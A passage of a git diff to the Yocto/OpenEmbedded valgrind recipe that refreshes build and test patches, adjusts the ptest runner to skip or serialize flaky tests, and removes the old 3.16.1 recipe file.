+ pthread_join(thread[i], NULL);
++#else
++ printf("libc context call APIs e.g. getcontext() are deprecated by posix\n");
++#endif
+
+ return 0;
+ }
diff --git a/memcheck/tests/linux/stack_changes.c b/memcheck/tests/linux/stack_changes.c
index 7f97b90a5..a26cb4ae6 100644
--- a/memcheck/tests/linux/stack_changes.c
@@ -48,5 +88,5 @@ index 7f97b90a5..a26cb4ae6 100644
return 0;
}
--
-2.17.0
+2.17.1
diff --git a/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch b/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
index 4570f63995..9a25b67961 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
@@ -1,4 +1,4 @@
-From 8f916dcb395fe5a2429f2867ba4daf8ef3af073a Mon Sep 17 00:00:00 2001
+From 59e3190e9121c5439d54298b083b44c5c3794a7f Mon Sep 17 00:00:00 2001
From: Randy MacLeod <Randy.MacLeod@windriver.com>
Date: Tue, 16 Oct 2018 21:01:04 -0400
Subject: [PATCH] Fix out of tree builds.
@@ -12,19 +12,20 @@ RP 2013/03/23
Patch refreshed for valgrind-3.14.0.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=445211]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
+
---
- configure.ac | 66 ++++++++++++++++++++++++++--------------------------
- 1 file changed, 33 insertions(+), 33 deletions(-)
+ configure.ac | 62 ++++++++++++++++++++++++++--------------------------
+ 1 file changed, 31 insertions(+), 31 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 524230d..54861c5 100755
+index b851798..d360896 100755
--- a/configure.ac
+++ b/configure.ac
-@@ -396,50 +396,50 @@ case "${host_os}" in
+@@ -447,50 +447,50 @@ case "${host_os}" in
9.*)
AC_MSG_RESULT([Darwin 9.x (${kernel}) / Mac OS X 10.5 Leopard])
AC_DEFINE([DARWIN_VERS], DARWIN_10_5, [Darwin / Mac OS X version])
@@ -91,7 +92,7 @@ index 524230d..54861c5 100755
;;
17.*)
AC_MSG_RESULT([Darwin 17.x (${kernel}) / macOS 10.13 High Sierra])
-@@ -464,7 +464,7 @@ case "${host_os}" in
+@@ -515,7 +515,7 @@ case "${host_os}" in
DEFAULT_SUPP="solaris12.supp ${DEFAULT_SUPP}"
;;
*)
@@ -100,7 +101,7 @@ index 524230d..54861c5 100755
;;
esac
;;
-@@ -472,7 +472,7 @@ case "${host_os}" in
+@@ -523,7 +523,7 @@ case "${host_os}" in
solaris2.12*)
AC_MSG_RESULT([ok (${host_os})])
VGCONF_OS="solaris"
@@ -109,7 +110,7 @@ index 524230d..54861c5 100755
;;
*)
-@@ -1095,29 +1095,29 @@ AC_MSG_CHECKING([the glibc version])
+@@ -1237,15 +1237,15 @@ AC_MSG_CHECKING([the glibc version])
case "${GLIBC_VERSION}" in
2.2)
AC_MSG_RESULT(${GLIBC_VERSION} family)
@@ -123,44 +124,37 @@ index 524230d..54861c5 100755
2.[[3-6]])
AC_MSG_RESULT(${GLIBC_VERSION} family)
- DEFAULT_SUPP="glibc-${GLIBC_VERSION}.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
+- DEFAULT_SUPP="glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
+ DEFAULT_SUPP="$srcdir/glibc-${GLIBC_VERSION}.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
;;
2.[[7-9]])
AC_MSG_RESULT(${GLIBC_VERSION} family)
- DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
- ;;
- 2.10|2.11)
- AC_MSG_RESULT(${GLIBC_VERSION} family)
+@@ -1258,8 +1258,8 @@ case "${GLIBC_VERSION}" in
AC_DEFINE([GLIBC_MANDATORY_STRLEN_REDIRECT], 1,
[Define to 1 if strlen() has been optimized heavily (amd64 glibc >= 2.10)])
DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
+- DEFAULT_SUPP="glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
;;
2.*)
AC_MSG_RESULT(${GLIBC_VERSION} family)
-@@ -1126,8 +1126,8 @@ case "${GLIBC_VERSION}" in
+@@ -1268,8 +1268,8 @@ case "${GLIBC_VERSION}" in
AC_DEFINE([GLIBC_MANDATORY_INDEX_AND_STRLEN_REDIRECT], 1,
[Define to 1 if index() and strlen() have been optimized heavily (x86 glibc >= 2.12)])
DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
+- DEFAULT_SUPP="glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
;;
darwin)
AC_MSG_RESULT(Darwin)
-@@ -1137,7 +1137,7 @@ case "${GLIBC_VERSION}" in
+@@ -1284,7 +1284,7 @@ case "${GLIBC_VERSION}" in
bionic)
AC_MSG_RESULT(Bionic)
AC_DEFINE([BIONIC_LIBC], 1, [Define to 1 if you're using Bionic])
@@ -169,7 +163,7 @@ index 524230d..54861c5 100755
;;
solaris)
AC_MSG_RESULT(Solaris)
-@@ -1164,8 +1164,8 @@ if test "$VGCONF_OS" != "solaris"; then
+@@ -1313,8 +1313,8 @@ if test "$VGCONF_OS" != "solaris"; then
# attempt to detect whether such libraries are installed on the
# build machine (or even if any X facilities are present); just
# add the suppressions antidisirregardless.
@@ -180,6 +174,3 @@ index 524230d..54861c5 100755
fi
---
-2.17.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch b/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
index 7985308e41..a3637ea846 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch
@@ -14,11 +14,16 @@ option, --yocto-ptest, the valgrind regression test output is unchanged.
Enforce 30 seconds limit for the test.
This resume execution of the remaining tests when valgrind hangs.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Dave Lerner <dave.lerner@windriver.com>
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+Increase time limit to 90 s.
+(double of the expected time of drd/tests/std_list on qemuarm64)
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
---
tests/vg_regtest.in | 75 +++++++++++++++++++++++++++++++++++++++--------------
1 file changed, 55 insertions(+), 20 deletions(-)
@@ -66,7 +71,7 @@ index a441f42..cb05b52 100755
# Since most of the program time is spent in system() calls, need this to
# propagate a Ctrl-C enabling us to quit.
-sub mysystem($)
-+# Enforce 30 seconds limit for the test.
++# Enforce 90 seconds limit for the test.
+# This resume execution of the remaining tests if valgrind hangs.
+sub mysystem($)
{
@@ -76,7 +81,7 @@ index a441f42..cb05b52 100755
+ my $exit_code=0;
+ eval {
+ local $SIG{'ALRM'} = sub { die "timed out\n" };
-+ alarm(30);
++ alarm(90);
+ $exit_code = system($_[0]);
+ alarm (0);
+ ($exit_code == 2) and die "SIGINT\n"; # 2 is SIGINT
diff --git a/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch b/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
index 6176640e42..02241781d9 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
@@ -1,30 +1,28 @@
-From b4b9f072c22f96844e02cb9d68f7ff2408680817 Mon Sep 17 00:00:00 2001
+From ace5fe19b3f13039d5d6bd5d99d54c20ea79e09c Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 10 Jun 2017 01:07:59 -0700
-Subject: [PATCH 5/6] tc20_verifywrap.c: Fake __GLIBC_PREREQ with musl
+Subject: [PATCH] tc20_verifywrap.c: Fake __GLIBC_PREREQ with musl
similar to sun
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
helgrind/tests/tc20_verifywrap.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/helgrind/tests/tc20_verifywrap.c b/helgrind/tests/tc20_verifywrap.c
-index c110000..a311a49 100644
+index ae97bde..db2eb70 100644
--- a/helgrind/tests/tc20_verifywrap.c
+++ b/helgrind/tests/tc20_verifywrap.c
@@ -20,7 +20,7 @@
- #if !defined(__APPLE__)
+ #if !defined(__APPLE__) && !defined(__FreeBSD__)
-#if defined(__sun__)
+#if defined(__sun__) || (defined(__linux__) && !defined(__GLIBC__))
/* Fake __GLIBC_PREREQ on Solaris. Pretend glibc >= 2.4. */
# define __GLIBC_PREREQ
#else
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch b/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
index b431d3356e..db6867f625 100644
--- a/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
@@ -1,4 +1,4 @@
-From 67e7a690107efb16d6d5aebfe420b64a552accdf Mon Sep 17 00:00:00 2001
+From d85cc45e0ddeda68adf594dead715964cb32d0e7 Mon Sep 17 00:00:00 2001
From: Qing He <qing.he@intel.com>
Date: Tue, 31 Aug 2010 22:51:58 +0800
Subject: [PATCH] valgrind: fix perl scripts
@@ -22,10 +22,11 @@ Signed-off-by: Maxin B. John <maxin.john@intel.com>
cachegrind/cg_diff.in | 2 +-
massif/ms_print.in | 2 +-
perf/vg_perf.in | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
+ tests/vg_regtest.in | 2 +-
+ 5 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/cachegrind/cg_annotate.in b/cachegrind/cg_annotate.in
-index 69365e8..978265d 100644
+index fea114b..5e814fd 100644
--- a/cachegrind/cg_annotate.in
+++ b/cachegrind/cg_annotate.in
@@ -1,4 +1,4 @@
@@ -35,7 +36,7 @@ index 69365e8..978265d 100644
##--------------------------------------------------------------------##
##--- Cachegrind's annotator. cg_annotate.in ---##
diff --git a/cachegrind/cg_diff.in b/cachegrind/cg_diff.in
-index 395460b..05873cc 100755
+index 9d9258e..d0f0ec7 100755
--- a/cachegrind/cg_diff.in
+++ b/cachegrind/cg_diff.in
@@ -1,4 +1,4 @@
@@ -45,7 +46,7 @@ index 395460b..05873cc 100755
##--------------------------------------------------------------------##
##--- Cachegrind's differencer. cg_diff.in ---##
diff --git a/massif/ms_print.in b/massif/ms_print.in
-index e6fae89..3b85b40 100755
+index a206ce4..df1bc31 100755
--- a/massif/ms_print.in
+++ b/massif/ms_print.in
@@ -1,4 +1,4 @@
@@ -55,7 +56,7 @@ index e6fae89..3b85b40 100755
##--------------------------------------------------------------------##
##--- Massif's results printer ms_print.in ---##
diff --git a/perf/vg_perf.in b/perf/vg_perf.in
-index 7a80cb0..28f6156 100644
+index 90ee1d2..c585096 100644
--- a/perf/vg_perf.in
+++ b/perf/vg_perf.in
@@ -1,4 +1,4 @@
@@ -65,7 +66,7 @@ index 7a80cb0..28f6156 100644
##--- Valgrind performance testing script vg_perf ---##
##--------------------------------------------------------------------##
diff --git a/tests/vg_regtest.in b/tests/vg_regtest.in
-index cb05b52..032e947 100755
+index 0fe6341..1b45eb7 100755
--- a/tests/vg_regtest.in
+++ b/tests/vg_regtest.in
@@ -1,4 +1,4 @@
@@ -74,5 +75,6 @@ index cb05b52..032e947 100755
##--------------------------------------------------------------------##
##--- Valgrind regression testing script vg_regtest ---##
##--------------------------------------------------------------------##
----
-2.4.0
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64 b/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
index a3a0c6e50f..440e8bec31 100644
--- a/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
+++ b/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
@@ -235,3 +235,6 @@ memcheck/tests/wrapmalloc
memcheck/tests/wrapmallocstatic
memcheck/tests/writev1
memcheck/tests/xml1
+memcheck/tests/linux/stack_changes
+gdbserver_tests/hginfo
+memcheck/tests/linux/timerfd-syscall
diff --git a/meta/recipes-devtools/valgrind/valgrind/remove-for-all b/meta/recipes-devtools/valgrind/valgrind/remove-for-all
new file mode 100644
index 0000000000..cb8d10b18f
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/remove-for-all
@@ -0,0 +1,8 @@
+none/tests/amd64/fb_test_amd64
+gdbserver_tests/hginfo
+memcheck/tests/supp_unknown
+helgrind/tests/tls_threads
+drd/tests/bar_bad_xml
+drd/tests/pth_barrier_thr_cr
+drd/tests/thread_name_xml
+massif/tests/deep-D
diff --git a/meta/recipes-devtools/valgrind/valgrind/run-ptest b/meta/recipes-devtools/valgrind/valgrind/run-ptest
index 97b0a85dbf..caeae84d4f 100755
--- a/meta/recipes-devtools/valgrind/valgrind/run-ptest
+++ b/meta/recipes-devtools/valgrind/valgrind/run-ptest
@@ -7,16 +7,23 @@
# Randy MacLeod <Randy.MacLeod@windriver.com>
###############################################################
VALGRIND_LIB=@libdir@/valgrind
+VALGRIND_LIBEXECDIR=@libexecdir@/valgrind
VALGRIND_BIN=@bindir@/valgrind
LOG="${VALGRIND_LIB}/ptest/valgrind_ptest_$(date +%Y%m%d-%H%M%S).log"
TOOLS="memcheck cachegrind callgrind helgrind drd massif dhat lackey none"
-EXP_TOOLS="exp-bbv exp-dhat exp-sgcheck"
+EXP_TOOLS="exp-bbv"
GDB_BIN=@bindir@/gdb
cd ${VALGRIND_LIB}/ptest && ./gdbserver_tests/make_local_links ${GDB_BIN}
+echo "Hide valgrind tests that are non-deterministic"
+echo "Reported at https://bugs.kde.org/show_bug.cgi?id=430321"
+for i in `cat remove-for-all`; do
+ mv $i.vgtest $i.IGNORE;
+done
+
arch=`arch`
if [ "$arch" = "aarch64" ]; then
echo "Aarch64: Hide valgrind tests that result in defunct process and then out of memory"
@@ -25,12 +32,19 @@ if [ "$arch" = "aarch64" ]; then
done
fi
+echo "Run flaky tests using taskset to limit them to a single core."
+for i in `cat taskset_nondeterministic_tests`; do
+ taskset 0x00000001 perl tests/vg_regtest --valgrind=${VALGRIND_BIN} --valgrind-lib=${VALGRIND_LIBEXECDIR} --yocto-ptest $i 2>&1|tee -a ${LOG}
+ mv $i.vgtest $i.IGNORE
+done
+
+
cd ${VALGRIND_LIB}/ptest && ./tests/vg_regtest \
--valgrind=${VALGRIND_BIN} \
- --valgrind-lib=${VALGRIND_LIB} \
+ --valgrind-lib=${VALGRIND_LIBEXECDIR} \
--yocto-ptest \
gdbserver_tests ${TOOLS} ${EXP_TOOLS} \
- 2>&1|tee ${LOG}
+ 2>&1|tee -a ${LOG}
cd ${VALGRIND_LIB}/ptest && \
./tests/post_regtest_checks $(pwd) \
@@ -44,6 +58,25 @@ if [ "$arch" = "aarch64" ]; then
done
fi
+echo "Restore valgrind tests that are non-deterministc"
+for i in `cat remove-for-all`; do
+ mv $i.IGNORE $i.vgtest;
+done
+
+echo "Restore flaky and other non-deterministic tests"
+for i in `cat taskset_nondeterministic_tests`; do
+ mv $i.IGNORE $i.vgtest;
+done
+
+echo "Failed test details..."
+failed_tests=`grep FAIL: ${LOG} | awk '{print $2}'`
+for test in $failed_tests; do
+ for diff_results in `ls $test*.diff`; do
+ echo $diff_results
+ echo '************'
+ cat $diff_results
+ done
+done
passed=`grep PASS: ${LOG}|wc -l`
failed=`grep FAIL: ${LOG}|wc -l`
diff --git a/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch b/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
index eea671da0a..bde1241dc7 100644
--- a/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
@@ -1,3 +1,8 @@
+From 8154d38bac5cdb3675cfdaf562ab9da01988b263 Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Wed, 17 Mar 2021 12:16:31 -0400
+Subject: [PATCH 19/20] remove s390x_vec_op_t
+
s390x_vec_op_t is not needed anywhere, only elements of enum are accessed
removing it ensures that valgrind can be built with -fno-common option
@@ -6,14 +11,25 @@ ld: ../../VEX/libvex-amd64-linux.a(libvex_amd64_linux_a-guest_s390_helpers.o):/u
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+---
+ VEX/priv/guest_s390_defs.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/VEX/priv/guest_s390_defs.h b/VEX/priv/guest_s390_defs.h
+index 9054290..dab8002 100644
--- a/VEX/priv/guest_s390_defs.h
+++ b/VEX/priv/guest_s390_defs.h
-@@ -286,7 +286,7 @@ enum {
- S390_VEC_OP_VFCHE = 18,
- S390_VEC_OP_VFTCI = 19,
- S390_VEC_OP_LAST = 20 // supposed to be the last element in enum
+@@ -284,7 +284,7 @@ typedef enum {
+ S390_VEC_OP_VBPERM,
+ S390_VEC_OP_VMSL,
+ S390_VEC_OP_LAST // supposed to be the last element in enum
-} s390x_vec_op_t;
+};
/* Arguments of s390x_dirtyhelper_vec_op(...) which are packed into one
ULong variable.
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests b/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests
new file mode 100644
index 0000000000..e15100ade7
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests
@@ -0,0 +1,2 @@
+helgrind/tests/hg05_race2
+helgrind/tests/tc09_bad_unlock
diff --git a/meta/recipes-devtools/valgrind/valgrind_3.16.1.bb b/meta/recipes-devtools/valgrind/valgrind_3.16.1.bb
deleted file mode 100644
index 5db181ac14..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind_3.16.1.bb
+++ /dev/null
@@ -1,245 +0,0 @@
-SUMMARY = "Valgrind memory debugger and instrumentation framework"
-HOMEPAGE = "http://valgrind.org/"
-BUGTRACKER = "http://valgrind.org/support/bug_reports.html"
-LICENSE = "GPLv2 & GPLv2+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://include/pub_tool_basics.h;beginline=6;endline=29;md5=41c410e8d3f305aee7aaa666b2e4f366 \
- file://include/valgrind.h;beginline=1;endline=56;md5=ad3b317f3286b6b704575d9efe6ca5df \
- file://COPYING.DOCS;md5=24ea4c7092233849b4394699333b5c56"
-
-DEPENDS = " \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'boost', '', d)} \
- "
-
-SRC_URI = "https://sourceware.org/pub/valgrind/valgrind-${PV}.tar.bz2 \
- file://fixed-perl-path.patch \
- file://Added-support-for-PPC-instructions-mfatbu-mfatbl.patch \
- file://run-ptest \
- file://remove-for-aarch64 \
- file://0004-Fix-out-of-tree-builds.patch \
- file://0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch \
- file://0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch \
- file://use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch \
- file://avoid-neon-for-targets-which-don-t-support-it.patch \
- file://valgrind-make-ld-XXX.so-strlen-intercept-optional.patch \
- file://0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch \
- file://0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch \
- file://0001-sigqueue-Rename-_sifields-to-__si_fields-on-musl.patch \
- file://0002-context-APIs-are-not-available-on-musl.patch \
- file://0003-correct-include-directive-path-for-config.h.patch \
- file://0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch \
- file://0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch \
- file://0002-memcheck-x86-Define-__THROW-if-not-defined.patch \
- file://0003-tests-seg_override-Replace-__modify_ldt-with-syscall.patch \
- file://0001-fix-opcode-not-supported-on-mips32-linux.patch \
- file://0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch \
- file://0001-Make-local-functions-static-to-avoid-assembler-error.patch \
- file://0001-Return-a-valid-exit_code-from-vg_regtest.patch \
- file://0001-valgrind-filter_xml_frames-do-not-filter-usr.patch \
- file://0001-memcheck-vgtests-remove-fullpath-after-flags.patch \
- file://s390x_vec_op_t.patch \
- file://0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch \
- file://0001-memcheck-tests-Fix-timerfd-syscall-test.patch \
- file://0001-drd-Port-to-Fedora-33.patch \
- file://0001-drd-musl-fix.patch \
- file://0001-helgrind-Intercept-libc-functions.patch \
- "
-SRC_URI[md5sum] = "d1b153f1ab17cf1f311705e7a83ef589"
-SRC_URI[sha256sum] = "c91f3a2f7b02db0f3bc99479861656154d241d2fdb265614ba918cc6720a33ca"
-UPSTREAM_CHECK_REGEX = "valgrind-(?P<pver>\d+(\.\d+)+)\.tar"
-
-COMPATIBLE_HOST = '(i.86|x86_64|arm|aarch64|mips|powerpc|powerpc64).*-linux'
-
-# patch 0001-memcheck-vgtests-remove-fullpath-after-flags.patch removes relative path
-# argument. Change expected stderr files accordingly.
-do_patch_append() {
- bb.build.exec_func('do_sed_paths', d)
-}
-
-do_sed_paths() {
- sed -i -e 's|tests/||' ${S}/memcheck/tests/badfree3.stderr.exp
- sed -i -e 's|tests/||' ${S}/memcheck/tests/varinfo5.stderr.exp
-}
-
-# valgrind supports armv7 and above
-COMPATIBLE_HOST_armv4 = 'null'
-COMPATIBLE_HOST_armv5 = 'null'
-COMPATIBLE_HOST_armv6 = 'null'
-
-# valgrind fails with powerpc soft-float
-COMPATIBLE_HOST_powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', 'null', '.*-linux', d)}"
-
-# X32 isn't supported by valgrind at this time
-COMPATIBLE_HOST_linux-gnux32 = 'null'
-COMPATIBLE_HOST_linux-muslx32 = 'null'
-
-# Disable for some MIPS variants
-COMPATIBLE_HOST_mipsarchr6 = 'null'
-COMPATIBLE_HOST_linux-gnun32 = 'null'
-
-# Disable for powerpc64 with musl
-COMPATIBLE_HOST_libc-musl_powerpc64 = 'null'
-
-# brokenseip is unfortunately required by ptests to pass
-inherit autotools-brokensep ptest multilib_header
-
-EXTRA_OECONF = "--enable-tls --without-mpicc"
-EXTRA_OECONF += "${@['--enable-only32bit','--enable-only64bit'][d.getVar('SITEINFO_BITS') != '32']}"
-
-# valgrind checks host_cpu "armv7*)", so we need to over-ride the autotools.bbclass default --host option
-EXTRA_OECONF_append_arm = " --host=armv7${HOST_VENDOR}-${HOST_OS}"
-
-EXTRA_OEMAKE = "-w"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-
-# valgrind likes to control its own optimisation flags. It generally defaults
-# to -O2 but uses -O0 for some specific test apps etc. Passing our own flags
-# (via CFLAGS) means we interfere with that. Only pass DEBUG_FLAGS to it
-# which fixes build path issue in DWARF.
-SELECTED_OPTIMIZATION = "${DEBUG_FLAGS}"
-
-do_configure_prepend () {
- rm -rf ${S}/config.h
- sed -i -e 's:$(abs_top_builddir):$(pkglibdir)/ptest:g' ${S}/none/tests/Makefile.am
- sed -i -e 's:$(top_builddir):$(pkglibdir)/ptest:g' ${S}/memcheck/tests/Makefile.am
-}
-
-do_install_append () {
- install -m 644 ${B}/default.supp ${D}/${libdir}/valgrind/
- oe_multilib_header valgrind/config.h
-}
-
-VALGRINDARCH ?= "${TARGET_ARCH}"
-VALGRINDARCH_aarch64 = "arm64"
-VALGRINDARCH_x86-64 = "amd64"
-VALGRINDARCH_x86 = "x86"
-VALGRINDARCH_mips = "mips32"
-VALGRINDARCH_mipsel = "mips32"
-VALGRINDARCH_mips64el = "mips64"
-VALGRINDARCH_powerpc = "ppc"
-VALGRINDARCH_powerpc64 = "ppc64"
-VALGRINDARCH_powerpc64el = "ppc64le"
-
-INHIBIT_PACKAGE_STRIP_FILES = "${PKGD}${libdir}/valgrind/vgpreload_memcheck-${VALGRINDARCH}-linux.so"
-
-RDEPENDS_${PN} += "perl"
-
-# valgrind needs debug information for ld.so at runtime in order to
-# redirect functions like strlen.
-RRECOMMENDS_${PN} += "${TCLIBC}-dbg"
-
-RDEPENDS_${PN}-ptest += " bash coreutils file \
- gdb libgomp \
- perl \
- perl-module-file-basename perl-module-file-glob perl-module-getopt-long \
- perl-module-overloading \
- procps sed ${PN}-dbg ${PN}-src"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-
-# One of the tests contains a bogus interpreter path on purpose.
-# Skip file dependency check
-SKIP_FILEDEPS_${PN}-ptest = '1'
-INSANE_SKIP_${PN}-ptest = "debug-deps"
-
-do_compile_ptest() {
- oe_runmake check
-}
-
-do_install_ptest() {
- chmod +x ${B}/tests/vg_regtest
-
- # The test application binaries are not automatically installed.
- # Grab them from the build directory.
- #
- # The regression tests require scripts and data files that are not
- # copied to the build directory. They must be copied from the
- # source directory.
- saved_dir=$PWD
- for parent_dir in ${S} ${B} ; do
- cd $parent_dir
-
- subdirs=" \
- .in_place \
- cachegrind/tests \
- callgrind/tests \
- dhat/tests \
- drd/tests \
- gdbserver_tests \
- helgrind/tests \
- lackey/tests \
- massif/tests \
- memcheck/tests \
- none/tests \
- tests \
- exp-bbv/tests \
- exp-dhat/tests \
- exp-sgcheck/tests \
- "
- # Get the vg test scripts, filters, and expected files
- for dir in $subdirs ; do
- find $dir | cpio -pvdu ${D}${PTEST_PATH}
- done
- cd $saved_dir
- done
-
- # The scripts reference config.h so add it to the top ptest dir.
- cp ${B}/config.h ${D}${PTEST_PATH}
- install -D ${WORKDIR}/remove-for-aarch64 ${D}${PTEST_PATH}
-
- # Add an executable need by none/tests/bigcode
- mkdir ${D}${PTEST_PATH}/perf
- cp ${B}/perf/bigcode ${D}${PTEST_PATH}/perf
-
- # Add an executable needed by memcheck/tests/vcpu_bz2
- cp ${B}/perf/bz2 ${D}${PTEST_PATH}/perf
-
- # Make the ptest dir look like the top level valgrind src dir
- # This is checked by the gdbserver_tests/make_local_links script
- mkdir ${D}${PTEST_PATH}/coregrind
- cp ${B}/coregrind/vgdb ${D}${PTEST_PATH}/coregrind
-
- # Add an executable needed by massif tests
- cp ${B}/massif/ms_print ${D}${PTEST_PATH}/massif/ms_print
-
- find ${D}${PTEST_PATH} \
- \( \
- -name "Makefile*" \
- -o -name "*.o" \
- \) \
- -exec rm {} \;
-
- # These files need to be newer so touch them.
- touch ${D}${PTEST_PATH}/cachegrind/tests/a.c -r ${D}${PTEST_PATH}/cachegrind/tests/cgout-test
-
- # find *_annotate in ${bindir} for yocto build
- sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann1.vgtest
- sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann2.vgtest
-
- sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann1.vgtest
